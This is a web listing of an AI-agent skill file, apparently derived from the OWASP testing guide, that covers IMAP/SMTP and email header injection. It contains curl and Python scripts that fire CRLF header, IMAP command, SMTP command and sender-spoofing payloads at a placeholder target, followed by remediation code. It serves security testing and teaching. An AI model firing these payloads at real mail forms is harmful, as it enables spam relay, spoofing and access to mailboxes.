OpenParable
Skip to content
← Back to skills

Wstg Inpv 10

Testing & Quality
wstg-inpv-10

Wstg Inpv 10 is an Agent Skill for testing & quality published in the CyberStrikeus/CyberStrike repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.

Testing for IMAP/SMTP Injection

View on GitHub ↗
QUICK START

How to use this skill

Bring this guide into your coding agent with a prompt tailored to the tool you use.

  1. Open your project in Codex.
  2. Copy and paste the prompt below.
  3. Review files and risks before approving any action.
Prompt to paste
Inspect the Agent Skill at https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/WEB/OWASP_WSTG_4.2/wstg-inpv-10/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/wstg-inpv-10, but wait for my approval before writing files or running scripts.

Copying this prompt does not install or run the skill. Review third-party files before use.

wstg-inpv-10

Test ID

WSTG-INPV-10

Test Name

Testing for IMAP/SMTP Injection

High-Level Description

IMAP/SMTP Injection occurs when user input is incorporated into mail server commands without proper validation. Attackers can manipulate email functionality to send spam, access other users' mailboxes, execute arbitrary IMAP/SMTP commands, or bypass email-based security controls.


What to Check

  • Email header injection
  • IMAP command injection
  • SMTP command injection
  • CC/BCC injection
  • From address spoofing
  • Newline/CRLF injection

How to Test

Step 1: Test Email Header Injection

#!/bin/bash
TARGET="https://target.com/contact"

# Test email header injection via form
echo "[*] Testing email header injection..."

# CC injection
curl -s -X POST "$TARGET" \
    -d "name=Test" \
    -d "[email protected]%0ACc:[email protected]" \
    -d "message=Test message"

# BCC injection
curl -s -X POST "$TARGET" \
    -d "name=Test" \
    -d "[email protected]%0ABcc:[email protected]" \
    -d "message=Test message"

# Subject injection
curl -s -X POST "$TARGET" \
    -d "name=Test%0ASubject:Injected Subject" \
    -d "[email protected]" \
    -d "message=Test"

Step 2: IMAP/SMTP Injection Tester

#!/usr/bin/env python3
"""
IMAP/SMTP Injection Vulnerability Tester
"""

import requests
from urllib.parse import quote

class MailInjectionTester:
    def __init__(self, url):
        self.url = url
        self.findings = []
        self.session = requests.Session()

    # Email injection payloads
    PAYLOADS = {
        'header_injection': [
            # CC/BCC injection
            "[email protected]\nCc: [email protected]",
            "[email protected]\r\nCc: [email protected]",
            "[email protected]%0ACc:[email protected]",
            "[email protected]%0D%0ABcc:[email protected]",

            # Subject injection
            "[email protected]\nSubject: Injected",
            "[email protected]%0ASubject:INJECTED",

            # Body injection
            "[email protected]\n\nInjected body content",
            "[email protected]%0A%0AInjected%20body",

            # From injection
            "[email protected]\nFrom: [email protected]",
        ],
        'imap_commands': [
            # IMAP command injection
            'test"\r\nA001 LOGOUT\r\n',
            'test" FETCH 1:* BODY[]',
            'test"\nA001 SELECT INBOX\nA002 FETCH 1:* FLAGS',
            'test%22%0D%0AA001%20LOGOUT',
        ],
        'smtp_commands': [
            # SMTP command injection
            '[email protected]\r\nRCPT TO:<[email protected]>',
            '[email protected]\nDATA\nInjected message\n.\n',
            '[email protected]%0D%0ARCPT%20TO:<[email protected]>',
        ],
    }

    def test_header_injection(self, email_param='email'):
        """Test email header injection"""
        print("\n[*] Testing email header injection...")

        for payload in self.PAYLOADS['header_injection']:
            try:
                response = self.session.post(
                    self.url,
                    data={
                        email_param: payload,
                        'name': 'Test User',
                        'subject': 'Test Subject',
                        'message': 'Test message'
                    }
                )

                # Check for success indicators
                if response.status_code == 200:
                    if 'sent' in response.text.lower() or \
                       'success' in response.text.lower():
                        print(f"[WARN] Email possibly sent with injection")
                        print(f"  Payload: {payload[:50]}")
                        self.findings.append({
                            'type': 'Email Header Injection',
                            'payload': payload,
                            'severity': 'High'
                        })

                # Check for errors that confirm mail processing
                if 'mail' in response.text.lower() or \
                   'smtp' in response.text.lower():
                    print(f"[INFO] Mail-related response detected")

            except Exception as e:
                pass

    def test_imap_injection(self, user_param='username'):
        """Test IMAP command injection"""
        print("\n[*] Testing IMAP command injection...")

        for payload in self.PAYLOADS['imap_commands']:
            try:
                response = self.session.post(
                    self.url,
                    data={
                        user_param: payload,
                        'password': 'test'
                    }
                )

                # Check for IMAP-related responses
                if 'OK' in response.text or \
                   'LOGOUT' in response.text or \
                   'SELECT' in response.text:
                    print(f"[VULN] IMAP command injection possible!")
                    self.findings.append({
                        'type': 'IMAP Command Injection',
                        'payload': payload,
                        'severity': 'Critical'
                    })

            except Exception as e:
                pass

    def test_crlf_injection(self, subject_param='subject'):
        """Test CRLF injection in email fields"""
        print("\n[*] Testing CRLF injection...")

        crlf_payloads = [
            "Subject\r\nCc: [email protected]\r\n\r\nInjected body",
            "Subject%0d%0aCc:%[email protected]",
            "Subject\nBcc: [email protected]",
        ]

        for payload in crlf_payloads:
            try:
                response = self.session.post(
                    self.url,
                    data={
                        'email': '[email protected]',
                        subject_param: payload,
                        'message': 'Test'
                    }
                )

                if response.status_code == 200:
                    print(f"[INFO] Payload accepted: {payload[:40]}")

            except Exception as e:
                pass

    def test_from_spoofing(self):
        """Test From address spoofing"""
        print("\n[*] Testing From address spoofing...")

        spoofed_addresses = [
            "[email protected]",
            "[email protected]",
            "[email protected]",
        ]

        for email in spoofed_addresses:
            try:
                response = self.session.post(
                    self.url,
                    data={
                        'email': email,
                        'name': 'Admin',
                        'message': 'Spoofed message'
                    }
                )

                if 'sent' in response.text.lower():
                    print(f"[WARN] Email sent as: {email}")
                    self.findings.append({
                        'type': 'From Address Spoofing',
                        'email': email,
                        'severity': 'Medium'
                    })

            except Exception as e:
                pass

    def generate_report(self):
        """Generate findings report"""
        print("\n" + "="*60)
        print("IMAP/SMTP INJECTION REPORT")
        print("="*60)

        if not self.findings:
            print("\nNo mail injection vulnerabilities confirmed.")
        else:
            for f in self.findings:
                print(f"\n[{f['severity']}] {f['type']}")
                if 'payload' in f:
                    print(f"  Payload: {f['payload'][:60]}")

    def run_tests(self):
        """Run all mail injection tests"""
        self.test_header_injection()
        self.test_crlf_injection()
        self.test_from_spoofing()
        self.test_imap_injection()
        self.generate_report()

# Usage
tester = MailInjectionTester("https://target.com/contact")
tester.run_tests()

Step 3: Payload Reference

# Email Header Injection
[email protected]%0ACc:[email protected]
[email protected]%0ABcc:[email protected]
[email protected]%0ASubject:Injected
[email protected]%0AContent-Type:text/html%0A%0A<script>alert(1)</script>

# CRLF Variants
%0A = Line Feed
%0D = Carriage Return
%0D%0A = CRLF
\r\n = CRLF (raw)

# IMAP Commands
A001 LOGIN user pass
A002 SELECT INBOX
A003 FETCH 1:* (FLAGS BODY[])
A004 SEARCH ALL
A005 LOGOUT

# SMTP Commands
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Injected

Injected body
.
QUIT

Tools

ToolPurpose
Burp SuiteIntercept and modify
TelnetDirect SMTP/IMAP testing
swaksSMTP testing
Custom scriptsAutomated testing

Remediation

# Python - Proper email handling
import re
from email.utils import parseaddr

def validate_email(email):
    """Validate email address and prevent injection"""
    # Check for newlines/CRLF
    if '\r' in email or '\n' in email:
        raise ValueError("Invalid email: contains newlines")

    # Parse and validate
    _, addr = parseaddr(email)
    if not addr:
        raise ValueError("Invalid email format")

    # Check for valid format
    email_regex = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
    if not re.match(email_regex, addr):
        raise ValueError("Invalid email format")

    return addr

# Use libraries that handle headers safely
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

msg = MIMEMultipart()
msg['From'] = '[email protected]'
msg['To'] = validate_email(user_email)
msg['Subject'] = subject.replace('\n', '').replace('\r', '')
<?php
// PHP - Validate and sanitize
function sanitize_email_header($value) {
    // Remove newlines and carriage returns
    $value = str_replace(["\r", "\n", "%0a", "%0d"], '', $value);
    return $value;
}

// Use filter_var for email validation
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (!$email) {
    die('Invalid email');
}

// Use mail headers safely
$headers = "From: [email protected]\r\n";
$headers .= "Reply-To: " . sanitize_email_header($email) . "\r\n";
?>

Risk Assessment

FindingCVSSSeverity
IMAP command injection9.1Critical
SMTP command injection8.1High
Email header injection6.5Medium
From address spoofing4.3Medium

CWE Categories

CWE IDTitle
CWE-93Improper Neutralization of CRLF Sequences
CWE-88Improper Neutralization of Argument Delimiters in a Command

Checklist

[ ] Email header injection tested
[ ] CC/BCC injection tested
[ ] Subject injection tested
[ ] CRLF injection tested
[ ] IMAP commands tested
[ ] SMTP commands tested
[ ] From spoofing tested
[ ] Findings documented